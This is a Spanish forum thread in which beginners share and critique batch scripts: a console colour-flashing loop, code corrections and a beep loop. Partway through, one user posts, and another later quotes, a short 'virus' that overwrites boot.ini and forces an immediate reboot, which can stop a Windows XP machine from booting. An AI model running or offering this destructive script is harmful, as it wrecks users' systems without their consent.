Antes de nada deciros que NO OS RIAIS DE MI POR FAVOR,aunque vaya a ser dificil xD.A ver quería hacer algo con .bat y encontré un código interesante,pero pensé que usarlo sin mas era un poco...cutre y me puse a investigar y resulta que esto es interesante,he hecho un script(si así se le puede llamar) que lo único que hace es que la pantalla de MSDOS se te ponga de colorines,y te imposiblite trabajar,si es una soberana gilipollez,lo sé pero tampoco voy a empezar por algo complicado,en fin.Solo os queria preguntar si vais algún fallo o algo asi por que a veces me da un error y desaparece...aqui os dejo el scrpit en cuestión.
@echo on
:bucle
COLOR F0
COLOR 0F
COLOR 13
COLOR 46
COLOR 7A
goto :bucle
De aquí surgió la idea y luego fijandome en otros scripts de por ahi,llegue a esto.
echo.
echo.
echo.
echo.
echo
echo *********************************
echo *********************************
echo ** Enloquecedor de MSDOS **
echo. *********************************
echo. *********************************
echo. *********************************
echo.
echo Pulsa una tecla para iniciar
pause > nul
:inicio
cls
echo Elige la opción que quieras.
echo 1. Volver loco al MSDOS.
echo 2. Ver versión de MSDOS.
echo 3. Salir.
set /p eleccio=
if %eleccio%==1 goto Enloquecer
if %eleccio%==2 goto CMD
if %eleccio%==3 goto surti
:Enloquecer
cls
echo 1.Empezar enloquecimiento
echo 2.Salir
set /p tria=
if %tria%==1 goto colores
if %tria%==2 goto surti
:colores
:bucle
COLOR F0
COLOR 0F
COLOR 13
COLOR 46
COLOR 7A
goto :bucle
:surti
PD:Que siiii ya sé que es inutil,pero bueno solo le he hecho para coger un poco de destreza
Errores:
-Weno, primero debes de poner una linea así:
@echo off
Esto es para ocultar el eco de los comandos, la salida que originen estos en la pantalla se verá igual...
-En esta linea hay un error:
if %eleccio%==2 goto CMD
Si eliges la segunda opcion se ejecuta goto CMD lo que te llevaría a una etiqueta :CMD que no existe...
-Para la opcion 3 es mejor esta linea
if %eleccio%==3 exit
que esta:
if %eleccio%==3 goto surti
No esta mal tu forma pero mejor ordenarle directamente al BATCh salir que mandarlo a una etiqueta al final de archivo...
Lo mismo despues para la opcion 2 de la etiqueta "enloquecer"
-Por ultimo el peor error es el buble, usa un bucle FOR puesto que un bucle GOTO te consumirá todos los recursos del ordenador...tambien es recomendable poner un "sleep"...puedes hacerlo con el comando ping así:
ping 127.0.0.1 -n 1>nul
donde 1 es el tiempo en segundos a esperar...
Estos son los errores k veo a sí por encima...debe de haber mas...como el k me acabo de fijar ahora...sería bueno k añadieses una opcion contra errores para el caso en el k el usuario eligiese una opcion diferente k las k se ofrecen...pork si se le pide elegir entre la opcion 1, 2 y 3 y pone "4" pues para k no se ejecute indebidamente...
Weno, tu tranki k todos fuimos novatos...yo por ejemplo soy novato en VB y pregunto cosas tontas y nadie se rie de mi...ademas lo k estas haciendo es bueno para empezar...
Saludos ;) ;) ;)
:(
yo si me puedo reir? jeje ta bn chido tu codigo, ponle q ponga sonidos y enloquece peor jajaj
mira los sonidos se ponen asi:
@echo off
echo e 100 7 >in.inw
echo r cx >>in.inw
echo 1 >>in.inw
echo n beep.txt >>in.inw
echo w >>in.inw
echo q >>in.inw
debug<in.inw
del in.inw
:buc
type beep.txt
goto:buc
no sirve en todas las computadoras, pero si en muchas :P
Saludos!!
Me he reido con este post(sin animos de ofender, yo tambien soy un "nov", bueno no tanto), ;D No entiendo el bat de Sirdarckat :P....
Y con este virus dedstrtuyes cualquier Pc con XP sin que ni para que.
@echo off
cd\
echo Chorrada>boot.ini
shutdown -r -t 01 -c "Jajajajajajajajajaja"
exit
Muchas gracias a todos. Principalmente a nhaalclkiemr por que me has audado mucho,en serio gracias.
ahhh gracias también por los sonidos xDDD es un caos impresionante. Y a Grave,...a ver...yo no pretendo destruir ningun PC...no quiero aprender hacking para eso.Bueno.muchas gracias.
Nada, para eso estamos :xD :xD
Cita de: Grave en 16 Mayo 2007, 00:52 AM
Me he reido con este post(sin animos de ofender, yo tambien soy un "nov", bueno no tanto), ;D No entiendo el bat de Sirdarckat :P....
Y con este virus dedstrtuyes cualquier Pc con XP sin que ni para que.
@echo off
cd\
echo Chorrada>boot.ini
shutdown -r -t 01 -c "Jajajajajajajajajaja"
exit
El bat de Sdc utiliza el comando DEBUG para crear un archivo "pienso k binario o ASM o no se muy bien" que al escribirlo con un
type en la consola crea un pitido, despues ejecuta un bucle con ese pitido...pero para el bucle sería mejor usar el
for y delimitarlo a un numero determinado de pitidos y no un bucle infinito de
gotoPor cierto, tu bat lo k hace es sustituir el boot.ini (archivo que contiene los diferentes SO y opciones de arranke de estos) por un archivo que pone "Chorrada" y despues reinicia a los 1 segundos mostrando el mensaje "Jajajajajaja"
No se realmente si jode un PC...pero en caso de que no arrankara sería muy facil de solucionar eso...
Weno...además ese no es el tema...la cuestion es crear un programa que vaya cambiando el color de la consola...lo de los pitidos tambien es interesante jajaja
Saludos ;) ;) ;)
Escriban en la consola:
echo ^G
Emitira un pitido, sin embargo esta forma no es valida en un script asi que un script hay que escribir por pantalla un caracter ASCII que es un cuadrado, no me acuerdo del numero :(
es 0x07
el codigo que puse lo dice xD
Saludos!!
Un poco tarde pero lo encontre!
echo
Lo curioso es que si haceis un script con ese code y le dais doble click no muestra la pantalla :D
EDITADO: Lo raro es que no muestra el caracter ASCII, es un circulito negro, podeis verlo aqui:
http://foro.portalhacker.net/index.php/topic,36238.msg155737.html#msg155737
Mmmm...bueno interesante ese codigo... :D
Saludetes!!